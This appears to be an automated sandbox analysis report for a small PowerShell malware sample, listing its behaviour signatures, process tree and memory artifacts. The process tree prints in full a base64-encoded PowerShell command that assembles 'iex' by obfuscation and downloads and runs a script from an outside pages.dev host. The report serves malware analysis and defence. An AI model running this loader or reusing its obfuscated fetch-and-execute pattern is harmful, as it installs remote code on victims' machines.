Analysis
- user interaction
yes - max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/08/2026, 23:25
General
- Target DONOTOPEN.ps1
- Size 231B
- Sample260809-3d8w8sch89
- SHA256 cab3b9cd7500dcc2b1e4dc9aaf363b77d61d3a8e138c9fa0baef68bb92cc8813
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\DONOTOPEN.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E LgAoACgAWwBzAHQAcgBpAG4AZwBdACQAZQBuAHYAOgBBAFAAUAA/AD8APwA/ACkAWwAtADMAXQArACcAZQB4ACcAKQAoAGkAcgBtACAAZwBmADUAMwAuAHAAYQBnAGUAcwAuAGQAZQB2AC8AZwAyAC4AdAB4AHQAKQA=2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_1gw43d0f.k34.psm1
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
memory/1240-33-0x000001BDD8DC0000-0x000001BDD8E08000-memory.dmp
memory/3916-8-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-6-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-10-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-11-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-3-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-0-0x00007FF92979F000-0x00007FF9297A0000-memory.dmp
memory/3916-4-0x0000019061CD0000-0x0000019061CF2000-memory.dmp
memory/3916-5-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3916-7-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-15-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-22-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-23-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-24-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-21-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-20-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-16-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-14-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-34-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4772-36-0x00007FF929610000-0x00007FF929FB4000-memory.dmp